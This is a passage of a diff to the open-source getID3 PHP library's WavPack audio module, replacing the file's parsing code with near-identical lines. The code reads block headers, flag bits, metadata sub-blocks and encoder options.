$info['wavpack']['blockheader']['flags']['hybrid_noiseshape'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000040); - $info['wavpack']['blockheader']['flags']['ieee_32bit_float'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000080); - $info['wavpack']['blockheader']['flags']['int_32bit'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000100); - $info['wavpack']['blockheader']['flags']['hybrid_bitrate_noise'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000200); - $info['wavpack']['blockheader']['flags']['hybrid_balance_noise'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000400); - $info['wavpack']['blockheader']['flags']['multichannel_initial'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000800); - $info['wavpack']['blockheader']['flags']['multichannel_final'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00001000); - - $info['audio']['lossless'] = !$info['wavpack']['blockheader']['flags']['hybrid']; - } - - while (!feof($this->getid3->fp) && ($this->ftell() < ($blockheader_offset + $blockheader_size + 8))) { - - $metablock = array('offset'=>$this->ftell()); - $metablockheader = $this->fread(2); - if (feof($this->getid3->fp)) { - break; - } - $metablock['id'] = ord($metablockheader[0]); - $metablock['function_id'] = ($metablock['id'] & 0x3F); - $metablock['function_name'] = $this->WavPackMetablockNameLookup($metablock['function_id']); - $found_blocks[$metablock['function_name']] = (isset($found_blocks[$metablock['function_name']]) ? $found_blocks[$metablock['function_name']] : 0) + 1; // cannot use getid3_lib::safe_inc without warnings(?) - - // The 0x20 bit in the id of the meta subblocks (which is defined as - // ID_OPTIONAL_DATA) is a permanent part of the id. The idea is that - // if a decoder encounters an id that it does not know about, it uses - // that "ID_OPTIONAL_DATA" flag to determine what to do. If it is set - // then the decoder simply ignores the metadata, but if it is zero - // then the decoder should quit because it means that an understanding - // of the metadata is required to correctly decode the audio. - $metablock['non_decoder'] = (bool) ($metablock['id'] & 0x20); - - $metablock['padded_data'] = (bool) ($metablock['id'] & 0x40); - $metablock['large_block'] = (bool) ($metablock['id'] & 0x80); - if ($metablock['large_block']) { - $metablockheader .= $this->fread(2); - } - $metablock['size'] = getid3_lib::LittleEndian2Int(substr($metablockheader, 1)) * 2; // size is stored in words - $metablock['data'] = null; - $metablock['comments'] = array(); - - if ($metablock['size'] > 0) { - - switch ($metablock['function_id']) { - case 0x21: // ID_RIFF_HEADER - case 0x22: // ID_RIFF_TRAILER - case 0x23: // ID_REPLAY_GAIN - case 0x24: // ID_CUESHEET - case 0x25: // ID_CONFIG_BLOCK - case 0x26: // ID_MD5_CHECKSUM - $metablock['data'] = $this->fread($metablock['size']); - - if ($metablock['padded_data']) { - // padded to the nearest even byte - $metablock['size']--; - $metablock['data'] = substr($metablock['data'], 0, -1); - } - break; - - case 0x00: // ID_DUMMY - case 0x01: // ID_ENCODER_INFO - case 0x02: // ID_DECORR_TERMS - case 0x03: // ID_DECORR_WEIGHTS - case 0x04: // ID_DECORR_SAMPLES - case 0x05: // ID_ENTROPY_VARS - case 0x06: // ID_HYBRID_PROFILE - case 0x07: // ID_SHAPING_WEIGHTS - case 0x08: // ID_FLOAT_INFO - case 0x09: // ID_INT32_INFO - case 0x0A: // ID_WV_BITSTREAM - case 0x0B: // ID_WVC_BITSTREAM - case 0x0C: // ID_WVX_BITSTREAM - case 0x0D: // ID_CHANNEL_INFO - $this->fseek($metablock['offset'] + ($metablock['large_block'] ? 4 : 2) + $metablock['size']); - break; - - default: - $this->warning('Unexpected metablock type "0x'.str_pad(dechex($metablock['function_id']), 2, '0', STR_PAD_LEFT).'" at offset '.$metablock['offset']); - $this->fseek($metablock['offset'] + ($metablock['large_block'] ? 4 : 2) + $metablock['size']); - break; - } - - switch ($metablock['function_id']) { - case 0x21: // ID_RIFF_HEADER - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); - $original_wav_filesize = getid3_lib::LittleEndian2Int(substr($metablock['data'], 4, 4)); - - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_riff = new getid3_riff($getid3_temp); - $getid3_riff->ParseRIFFdata($metablock['data']); - $metablock['riff'] = $getid3_temp->info['riff']; - $info['audio']['sample_rate'] = $getid3_temp->info['riff']['raw']['fmt ']['nSamplesPerSec']; - unset($getid3_riff, $getid3_temp); - - $metablock['riff']['original_filesize'] = $original_wav_filesize; - $info['wavpack']['riff_trailer_size'] = $original_wav_filesize - $metablock['riff']['WAVE']['data'][0]['size'] - $metablock['riff']['header_size']; - $info['playtime_seconds'] = $info['wavpack']['blockheader']['total_samples'] / $info['audio']['sample_rate']; - - // Safe RIFF header in case there's a RIFF footer later - $metablockRIFFheader = $metablock['data']; - if ($this->quick_parsing && !empty($found_blocks['RIFF header']) && !empty($found_blocks['Config Block'])) { - $this->warning('WavPack quick-parsing enabled (faster at parsing large fules, but may miss some data)'); - break 2; - } - break; - - - case 0x22: // ID_RIFF_TRAILER - $metablockRIFFfooter = isset($metablockRIFFheader) ? $metablockRIFFheader : ''.$metablock['data']; - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); - - $startoffset = $metablock['offset'] + ($metablock['large_block'] ? 4 : 2); - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info['avdataend'] = $info['avdataend']; - //$getid3_temp->info['fileformat'] = 'riff'; - $getid3_riff = new getid3_riff($getid3_temp); - $metablock['riff'] = $getid3_riff->ParseRIFF($startoffset, $startoffset + $metablock['size']); - - if (!empty($metablock['riff']['INFO'])) { - getid3_riff::parseComments($metablock['riff']['INFO'], $metablock['comments']); - $info['tags']['riff'] = $metablock['comments']; - } - unset($getid3_temp, $getid3_riff); - break; - - - case 0x23: // ID_REPLAY_GAIN - $this->warning('WavPack "Replay Gain" contents not yet handled by getID3() in metablock at offset '.$metablock['offset']); - break; - - - case 0x24: // ID_CUESHEET - $this->warning('WavPack "Cuesheet" contents not yet handled by getID3() in metablock at offset '.$metablock['offset']); - break; - - - case 0x25: // ID_CONFIG_BLOCK - $metablock['flags_raw'] = getid3_lib::LittleEndian2Int(substr($metablock['data'], 0, 3)); - - $metablock['flags']['adobe_mode'] = (bool) ($metablock['flags_raw'] & 0x000001); // "adobe" mode for 32-bit floats - $metablock['flags']['fast_flag'] = (bool) ($metablock['flags_raw'] & 0x000002); // fast mode - $metablock['flags']['very_fast_flag'] = (bool) ($metablock['flags_raw'] & 0x000004); // double fast - $metablock['flags']['high_flag'] = (bool) ($metablock['flags_raw'] & 0x000008); // high quality mode - $metablock['flags']['very_high_flag'] = (bool) ($metablock['flags_raw'] & 0x000010); // double high (not used yet) - $metablock['flags']['bitrate_kbps'] = (bool) ($metablock['flags_raw'] & 0x000020); // bitrate is kbps, not bits / sample - $metablock['flags']['auto_shaping'] = (bool) ($metablock['flags_raw'] & 0x000040); // automatic noise shaping - $metablock['flags']['shape_override'] = (bool) ($metablock['flags_raw'] & 0x000080); // shaping mode specified - $metablock['flags']['joint_override'] = (bool) ($metablock['flags_raw'] & 0x000100); // joint-stereo mode specified - $metablock['flags']['copy_time'] = (bool) ($metablock['flags_raw'] & 0x000200); // copy file-time from source - $metablock['flags']['create_exe'] = (bool) ($metablock['flags_raw'] & 0x000400); // create executable - $metablock['flags']['create_wvc'] = (bool) ($metablock['flags_raw'] & 0x000800); // create correction file - $metablock['flags']['optimize_wvc'] = (bool) ($metablock['flags_raw'] & 0x001000); // maximize bybrid compression - $metablock['flags']['quality_mode'] = (bool) ($metablock['flags_raw'] & 0x002000); // psychoacoustic quality mode - $metablock['flags']['raw_flag'] = (bool) ($metablock['flags_raw'] & 0x004000); // raw mode (not implemented yet) - $metablock['flags']['calc_noise'] = (bool) ($metablock['flags_raw'] & 0x008000); // calc noise in hybrid mode - $metablock['flags']['lossy_mode'] = (bool) ($metablock['flags_raw'] & 0x010000); // obsolete (for information) - $metablock['flags']['extra_mode'] = (bool) ($metablock['flags_raw'] & 0x020000); // extra processing mode - $metablock['flags']['skip_wvx'] = (bool) ($metablock['flags_raw'] & 0x040000); // no wvx stream w/ floats & big ints - $metablock['flags']['md5_checksum'] = (bool) ($metablock['flags_raw'] & 0x080000); // compute & store MD5 signature - $metablock['flags']['quiet_mode'] = (bool) ($metablock['flags_raw'] & 0x100000); // don't report progress % - - $info['wavpack']['config_flags'] = $metablock['flags']; - - - $info['audio']['encoder_options'] = ''; - if ($info['wavpack']['blockheader']['flags']['hybrid']) { - $info['audio']['encoder_options'] .= ' -b???'; - } - $info['audio']['encoder_options'] .= ($metablock['flags']['adobe_mode'] ? ' -a' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['optimize_wvc'] ? ' -cc' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['create_exe'] ? ' -e' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['fast_flag'] ? ' -f' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['joint_override'] ? ' -j?' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['high_flag'] ? ' -h' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['md5_checksum'] ? ' -m' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['calc_noise'] ? ' -n' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['shape_override'] ? ' -s?' : ''); - $info['audio']['encoder_options'] .= ($metablock['flags']['extra_mode'] ? ' -x?' : ''); - if (!empty($info['audio']['encoder_options'])) { - $info['audio']['encoder_options'] = trim($info['audio']['encoder_options']); - } elseif (isset($info['audio']['encoder_options'])) { - unset($info['audio']['encoder_options']); - } - if ($this->quick_parsing && !empty($found_blocks['RIFF header']) && !empty($found_blocks['Config Block'])) { - $this->warning('WavPack quick-parsing enabled (faster at parsing large fules, but may miss some data)'); - break 2; - } - break; - - - case 0x26: // ID_MD5_CHECKSUM - if (strlen($metablock['data']) == 16) { - $info['md5_data_source'] = strtolower(getid3_lib::PrintHexBytes($metablock['data'], true, false, false)); - } else { - $this->warning('Expecting 16 bytes of WavPack "MD5 Checksum" in metablock at offset '.$metablock['offset'].', but found '.strlen($metablock['data']).' bytes'); - } - break; - - - case 0x00: // ID_DUMMY - case 0x01: // ID_ENCODER_INFO - case 0x02: // ID_DECORR_TERMS - case 0x03: // ID_DECORR_WEIGHTS - case 0x04: // ID_DECORR_SAMPLES - case 0x05: // ID_ENTROPY_VARS - case 0x06: // ID_HYBRID_PROFILE - case 0x07: // ID_SHAPING_WEIGHTS - case 0x08: // ID_FLOAT_INFO - case 0x09: // ID_INT32_INFO - case 0x0A: // ID_WV_BITSTREAM - case 0x0B: // ID_WVC_BITSTREAM - case 0x0C: // ID_WVX_BITSTREAM - case 0x0D: // ID_CHANNEL_INFO - unset($metablock); - break; - } - - } - if (!empty($metablock)) { - $info['wavpack']['metablocks'][] = $metablock; - } - - } - - } - - $info['audio']['encoder'] = 'WavPack v'.$info['wavpack']['blockheader']['major_version'].'.'.str_pad($info['wavpack']['blockheader']['minor_version'], 2, '0', STR_PAD_LEFT); - $info['audio']['bits_per_sample'] = $info['wavpack']['blockheader']['flags']['bytes_per_sample'] * 8; - $info['audio']['channels'] = ($info['wavpack']['blockheader']['flags']['mono'] ? 1 : 2); - - if (!empty($info['playtime_seconds'])) { - - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - - } else { - - $info['audio']['dataformat'] = 'wvc'; - - } - return true; - } - - /** - * @param int $id - * - * @return string - */ - public function WavPackMetablockNameLookup(&$id) { - static $WavPackMetablockNameLookup = array( - 0x00 => 'Dummy', - 0x01 => 'Encoder Info', - 0x02 => 'Decorrelation Terms', - 0x03 => 'Decorrelation Weights', - 0x04 => 'Decorrelation Samples', - 0x05 => 'Entropy Variables', - 0x06 => 'Hybrid Profile', - 0x07 => 'Shaping Weights', - 0x08 => 'Float Info', - 0x09 => 'Int32 Info', - 0x0A => 'WV Bitstream', - 0x0B => 'WVC Bitstream', - 0x0C => 'WVX Bitstream', - 0x0D => 'Channel Info', - 0x21 => 'RIFF header', - 0x22 => 'RIFF trailer', - 0x23 => 'Replay Gain', - 0x24 => 'Cuesheet', - 0x25 => 'Config Block', - 0x26 => 'MD5 Checksum', - ); - return (isset($WavPackMetablockNameLookup[$id]) ? $WavPackMetablockNameLookup[$id] : ''); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.wavpack.php // +// module for analyzing WavPack v4.0+ Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +class getid3_wavpack extends getid3_handler +{ + /** + * Avoid scanning all frames (break after finding ID_RIFF_HEADER and ID_CONFIG_BLOCK, + * significantly faster for very large files but other data may be missed + * + * @var bool + */ + public $quick_parsing = false; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + + $found_blocks = array(); + while (true) { + + $wavpackheader = $this->fread(32); + + if ($this->ftell() >= $info['avdataend']) { + break; + } elseif (feof($this->getid3->fp)) { + break; + } elseif ( + isset($info['wavpack']['blockheader']['total_samples']) && + isset($info['wavpack']['blockheader']['block_samples']) && + ($info['wavpack']['blockheader']['total_samples'] > 0) && + ($info['wavpack']['blockheader']['block_samples'] > 0) && + (!isset($info['wavpack']['riff_trailer_size']) || ($info['wavpack']['riff_trailer_size'] <= 0)) && + ((isset($info['wavpack']['config_flags']['md5_checksum']) && ($info['wavpack']['config_flags']['md5_checksum'] === false)) || !empty($info['md5_data_source']))) { + break; + } + + $blockheader_offset = $this->ftell() - 32; + $blockheader_magic = substr($wavpackheader, 0, 4); + $blockheader_size = getid3_lib::LittleEndian2Int(substr($wavpackheader, 4, 4)); + + $magic = 'wvpk'; + if ($blockheader_magic != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$blockheader_offset.', found "'.getid3_lib::PrintHexBytes($blockheader_magic).'"'); + switch (isset($info['audio']['dataformat']) ? $info['audio']['dataformat'] : '') { + case 'wavpack': + case 'wvc': + break; + default: + unset($info['fileformat']); + unset($info['audio']); + unset($info['wavpack']); + break; + } + return false; + } + + if (empty($info['wavpack']['blockheader']['block_samples']) || + empty($info['wavpack']['blockheader']['total_samples']) || + ($info['wavpack']['blockheader']['block_samples'] <= 0) || + ($info['wavpack']['blockheader']['total_samples'] <= 0)) { + // Also, it is possible that the first block might not have + // any samples (block_samples == 0) and in this case you should skip blocks + // until you find one with samples because the other information (like + // total_samples) are not guaranteed to be correct until (block_samples > 0) + + // Finally, I have defined a format for files in which the length is not known + // (for example when raw files are created using pipes). In these cases + // total_samples will be -1 and you must seek to the final block to determine + // the total number of samples. + + + $info['audio']['dataformat'] = 'wavpack'; + $info['fileformat'] = 'wavpack'; + $info['audio']['lossless'] = true; + $info['audio']['bitrate_mode'] = 'vbr'; + + $info['wavpack']['blockheader']['offset'] = $blockheader_offset; + $info['wavpack']['blockheader']['magic'] = $blockheader_magic; + $info['wavpack']['blockheader']['size'] = $blockheader_size; + + if ($info['wavpack']['blockheader']['size'] >= 0x100000) { + $this->error('Expecting WavPack block size less than "0x100000", found "'.$info['wavpack']['blockheader']['size'].'" at offset '.$info['wavpack']['blockheader']['offset']); + switch (isset($info['audio']['dataformat']) ? $info['audio']['dataformat'] : '') { + case 'wavpack': + case 'wvc': + break; + default: + unset($info['fileformat']); + unset($info['audio']); + unset($info['wavpack']); + break; + } + return false; + } + + $info['wavpack']['blockheader']['minor_version'] = ord($wavpackheader[8]); + $info['wavpack']['blockheader']['major_version'] = ord($wavpackheader[9]); + + if (($info['wavpack']['blockheader']['major_version'] != 4) || + (($info['wavpack']['blockheader']['minor_version'] < 4) && + ($info['wavpack']['blockheader']['minor_version'] > 16))) { + $this->error('Expecting WavPack version between "4.2" and "4.16", found version "'.$info['wavpack']['blockheader']['major_version'].'.'.$info['wavpack']['blockheader']['minor_version'].'" at offset '.$info['wavpack']['blockheader']['offset']); + switch (isset($info['audio']['dataformat']) ? $info['audio']['dataformat'] : '') { + case 'wavpack': + case 'wvc': + break; + default: + unset($info['fileformat']); + unset($info['audio']); + unset($info['wavpack']); + break; + } + return false; + } + + $info['wavpack']['blockheader']['track_number'] = ord($wavpackheader[10]); // unused + $info['wavpack']['blockheader']['index_number'] = ord($wavpackheader[11]); // unused + $info['wavpack']['blockheader']['total_samples'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 12, 4)); + $info['wavpack']['blockheader']['block_index'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 16, 4)); + $info['wavpack']['blockheader']['block_samples'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 20, 4)); + $info['wavpack']['blockheader']['flags_raw'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 24, 4)); + $info['wavpack']['blockheader']['crc'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 28, 4)); + + $info['wavpack']['blockheader']['flags']['bytes_per_sample'] = 1 + ($info['wavpack']['blockheader']['flags_raw'] & 0x00000003); + $info['wavpack']['blockheader']['flags']['mono'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000004); + $info['wavpack']['blockheader']['flags']['hybrid'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000008); + $info['wavpack']['blockheader']['flags']['joint_stereo'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000010); + $info['wavpack']['blockheader']['flags']['cross_decorrelation'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000020); + $info['wavpack']['blockheader']['flags']['hybrid_noiseshape'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000040); + $info['wavpack']['blockheader']['flags']['ieee_32bit_float'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000080); + $info['wavpack']['blockheader']['flags']['int_32bit'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000100); + $info['wavpack']['blockheader']['flags']['hybrid_bitrate_noise'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000200); + $info['wavpack']['blockheader']['flags']['hybrid_balance_noise'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000400); + $info['wavpack']['blockheader']['flags']['multichannel_initial'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000800); + $info['wavpack']['blockheader']['flags']['multichannel_final'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00001000); + + $info['audio']['lossless'] = !$info['wavpack']['blockheader']['flags']['hybrid']; + } + + while (!feof($this->getid3->fp) && ($this->ftell() < ($blockheader_offset + $blockheader_size + 8))) { + + $metablock = array('offset'=>$this->ftell()); + $metablockheader = $this->fread(2); + if (feof($this->getid3->fp)) { + break; + } + $metablock['id'] = ord($metablockheader[0]); + $metablock['function_id'] = ($metablock['id'] & 0x3F); + $metablock['function_name'] = $this->WavPackMetablockNameLookup($metablock['function_id']); + $found_blocks[$metablock['function_name']] = (isset($found_blocks[$metablock['function_name']]) ? $found_blocks[$metablock['function_name']] : 0) + 1; // cannot use getid3_lib::safe_inc without warnings(?) + + // The 0x20 bit in the id of the meta subblocks (which is defined as + // ID_OPTIONAL_DATA) is a permanent part of the id. The idea is that + // if a decoder encounters an id that it does not know about, it uses + // that "ID_OPTIONAL_DATA" flag to determine what to do. If it is set + // then the decoder simply ignores the metadata, but if it is zero + // then the decoder should quit because it means that an understanding + // of the metadata is required to correctly decode the audio. + $metablock['non_decoder'] = (bool) ($metablock['id'] & 0x20); + + $metablock['padded_data'] = (bool) ($metablock['id'] & 0x40); + $metablock['large_block'] = (bool) ($metablock['id'] & 0x80); + if ($metablock['large_block']) { + $metablockheader .= $this->fread(2); + } + $metablock['size'] = getid3_lib::LittleEndian2Int(substr($metablockheader, 1)) * 2; // size is stored in words + $metablock['data'] = null; + $metablock['comments'] = array(); + + if ($metablock['size'] > 0) { + + switch ($metablock['function_id']) { + case 0x21: // ID_RIFF_HEADER + case 0x22: // ID_RIFF_TRAILER + case 0x23: // ID_REPLAY_GAIN + case 0x24: // ID_CUESHEET + case 0x25: // ID_CONFIG_BLOCK + case 0x26: // ID_MD5_CHECKSUM + $metablock['data'] = $this->fread($metablock['size']); + + if ($metablock['padded_data']) { + // padded to the nearest even byte + $metablock['size']--; + $metablock['data'] = substr($metablock['data'], 0, -1); + } + break; + + case 0x00: // ID_DUMMY + case 0x01: // ID_ENCODER_INFO + case 0x02: // ID_DECORR_TERMS + case 0x03: // ID_DECORR_WEIGHTS + case 0x04: // ID_DECORR_SAMPLES + case 0x05: // ID_ENTROPY_VARS + case 0x06: // ID_HYBRID_PROFILE + case 0x07: // ID_SHAPING_WEIGHTS + case 0x08: // ID_FLOAT_INFO + case 0x09: // ID_INT32_INFO + case 0x0A: // ID_WV_BITSTREAM + case 0x0B: // ID_WVC_BITSTREAM + case 0x0C: // ID_WVX_BITSTREAM + case 0x0D: // ID_CHANNEL_INFO + $this->fseek($metablock['offset'] + ($metablock['large_block'] ? 4 : 2) + $metablock['size']); + break; + + default: + $this->warning('Unexpected metablock type "0x'.str_pad(dechex($metablock['function_id']), 2, '0', STR_PAD_LEFT).'" at offset '.$metablock['offset']); + $this->fseek($metablock['offset'] + ($metablock['large_block'] ? 4 : 2) + $metablock['size']); + break; + } + + switch ($metablock['function_id']) { + case 0x21: // ID_RIFF_HEADER + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); + $original_wav_filesize = getid3_lib::LittleEndian2Int(substr($metablock['data'], 4, 4)); + + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_riff = new getid3_riff($getid3_temp); + $getid3_riff->ParseRIFFdata($metablock['data']); + $metablock['riff'] = $getid3_temp->info['riff']; + $info['audio']['sample_rate'] = $getid3_temp->info['riff']['raw']['fmt ']['nSamplesPerSec']; + unset($getid3_riff, $getid3_temp); + + $metablock['riff']['original_filesize'] = $original_wav_filesize; + $info['wavpack']['riff_trailer_size'] = $original_wav_filesize - $metablock['riff']['WAVE']['data'][0]['size'] - $metablock['riff']['header_size']; + $info['playtime_seconds'] = $info['wavpack']['blockheader']['total_samples'] / $info['audio']['sample_rate']; + + // Safe RIFF header in case there's a RIFF footer later + $metablockRIFFheader = $metablock['data']; + if ($this->quick_parsing && !empty($found_blocks['RIFF header']) && !empty($found_blocks['Config Block'])) { + $this->warning('WavPack quick-parsing enabled (faster at parsing large fules, but may miss some data)'); + break 2; + } + break; + + + case 0x22: // ID_RIFF_TRAILER + $metablockRIFFfooter = isset($metablockRIFFheader) ? $metablockRIFFheader : ''.$metablock['data']; + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); + + $startoffset = $metablock['offset'] + ($metablock['large_block'] ? 4 : 2); + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info['avdataend'] = $info['avdataend']; + //$getid3_temp->info['fileformat'] = 'riff'; + $getid3_riff = new getid3_riff($getid3_temp); + $metablock['riff'] = $getid3_riff->ParseRIFF($startoffset, $startoffset + $metablock['size']); + + if (!empty($metablock['riff']['INFO'])) { + getid3_riff::parseComments($metablock['riff']['INFO'], $metablock['comments']); + $info['tags']['riff'] = $metablock['comments']; + } + unset($getid3_temp, $getid3_riff); + break; + + + case 0x23: // ID_REPLAY_GAIN + $this->warning('WavPack "Replay Gain" contents not yet handled by getID3() in metablock at offset '.$metablock['offset']); + break; + + + case 0x24: // ID_CUESHEET + $this->warning('WavPack "Cuesheet" contents not yet handled by getID3() in metablock at offset '.$metablock['offset']); + break; + + + case 0x25: // ID_CONFIG_BLOCK + $metablock['flags_raw'] = getid3_lib::LittleEndian2Int(substr($metablock['data'], 0, 3)); + + $metablock['flags']['adobe_mode'] = (bool) ($metablock['flags_raw'] & 0x000001); // "adobe" mode for 32-bit floats + $metablock['flags']['fast_flag'] = (bool) ($metablock['flags_raw'] & 0x000002); // fast mode + $metablock['flags']['very_fast_flag'] = (bool) ($metablock['flags_raw'] & 0x000004); // double fast + $metablock['flags']['high_flag'] = (bool) ($metablock['flags_raw'] & 0x000008); // high quality mode + $metablock['flags']['very_high_flag'] = (bool) ($metablock['flags_raw'] & 0x000010); // double high (not used yet) + $metablock['flags']['bitrate_kbps'] = (bool) ($metablock['flags_raw'] & 0x000020); // bitrate is kbps, not bits / sample + $metablock['flags']['auto_shaping'] = (bool) ($metablock['flags_raw'] & 0x000040); // automatic noise shaping + $metablock['flags']['shape_override'] = (bool) ($metablock['flags_raw'] & 0x000080); // shaping mode specified + $metablock['flags']['joint_override'] = (bool) ($metablock['flags_raw'] & 0x000100); // joint-stereo mode specified + $metablock['flags']['copy_time'] = (bool) ($metablock['flags_raw'] & 0x000200); // copy file-time from source + $metablock['flags']['create_exe'] = (bool) ($metablock['flags_raw'] & 0x000400); // create executable + $metablock['flags']['create_wvc'] = (bool) ($metablock['flags_raw'] & 0x000800); // create correction file + $metablock['flags']['optimize_wvc'] = (bool) ($metablock['flags_raw'] & 0x001000); // maximize bybrid compression + $metablock['flags']['quality_mode'] = (bool) ($metablock['flags_raw'] & 0x002000); // psychoacoustic quality mode + $metablock['flags']['raw_flag'] = (bool) ($metablock['flags_raw'] & 0x004000); // raw mode (not implemented yet) + $metablock['flags']['calc_noise'] = (bool) ($metablock['flags_raw'] & 0x008000); // calc noise in hybrid mode + $metablock['flags']['lossy_mode'] = (bool) ($metablock['flags_raw'] & 0x010000); // obsolete (for information) + $metablock['flags']['extra_mode'] = (bool) ($metablock['flags_raw'] & 0x020000); // extra processing mode + $metablock['flags']['skip_wvx'] = (bool) ($metablock['flags_raw'] & 0x040000); // no wvx stream w/ floats & big ints + $metablock['flags']['md5_checksum'] = (bool) ($metablock['flags_raw'] & 0x080000); // compute & store MD5 signature + $metablock['flags']['quiet_mode'] = (bool) ($metablock['flags_raw'] & 0x100000); // don't report progress % + + $info['wavpack']['config_flags'] = $metablock['flags']; + + + $info['audio']['encoder_options'] = ''; + if ($info['wavpack']['blockheader']['flags']['hybrid']) { + $info['audio']['encoder_options'] .= ' -b???'; + } + $info['audio']['encoder_options'] .= ($metablock['flags']['adobe_mode'] ? ' -a' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['optimize_wvc'] ? ' -cc' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['create_exe'] ? ' -e' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['fast_flag'] ? ' -f' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['joint_override'] ? ' -j?' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['high_flag'] ? ' -h' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['md5_checksum'] ? ' -m' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['calc_noise'] ? ' -n' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['shape_override'] ? ' -s?' : ''); + $info['audio']['encoder_options'] .= ($metablock['flags']['extra_mode'] ? ' -x?' : ''); + if (!empty($info['audio']['encoder_options'])) { + $info['audio']['encoder_options'] = trim($info['audio']['encoder_options']); + } elseif (isset($info['audio']['encoder_options'])) { + unset($info['audio']['encoder_options']); + } + if ($this->quick_parsing && !empty($found_blocks['RIFF header']) && !empty($found_blocks['Config Block'])) { + $this->warning('WavPack quick-parsing enabled (faster at parsing large fules, but may miss some data)'); + break 2; + } + break; + + + case 0x26: // ID_MD5_CHECKSUM + if (strlen($metablock['data']) == 16) { + $info['md5_data_source'] = strtolower(getid3_lib::PrintHexBytes($metablock['data'], true, false, false)); + } else { + $this->warning('Expecting 16 bytes of WavPack "MD5 Checksum" in metablock at offset '.$metablock['offset'].', but found '.strlen($metablock['data']).' bytes'); + } + break; + + + case 0x00: // ID_DUMMY + case 0x01: // ID_ENCODER_INFO + case 0x02: // ID_DECORR_TERMS + case 0x03: // ID_DECORR_WEIGHTS + case 0x04: // ID_DECORR_SAMPLES + case 0x05: // ID_ENTROPY_VARS + case 0x06: // ID_HYBRID_PROFILE + case 0x07: // ID_SHAPING_WEIGHTS + case 0x08: // ID_FLOAT_INFO + case 0x09: // ID_INT32_INFO + case 0x0A: // ID_WV_BITSTREAM + case 0x0B: // ID_WVC_BITSTREAM + case 0x0C: // ID_WVX_BITSTREAM + case 0x0D: // ID_CHANNEL_INFO + unset($metablock); + break; + } + + } + if (!empty($metablock)) { + $info['wavpack']['metablocks'][] = $metablock; + } + + } + + } + + $info['audio']['encoder'] = 'WavPack v'.$info['wavpack']['blockheader']['major_version'].'.'.str_pad($info['wavpack']['blockheader']['minor_version'], 2, '0', STR_PAD_LEFT); + $info['audio']['bits_per_sample'] = $info['wavpack']['blockheader']['flags']['bytes_per_sample'] * 8; + $info['audio']['channels'] = ($info['wavpack']['blockheader']['flags']['mono'] ? 1 : 2); + + if (!empty($info['playtime_seconds'])) { + + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + + } else { + + $info['audio']['dataformat'] = 'wvc'; + + } + return true; + } + + /** + * @param int $id + * + * @return string + */ + public function WavPackMetablockNameLookup(&$id) { + static $WavPackMetablockNameLookup = array( + 0x00 => 'Dummy', + 0x01 => 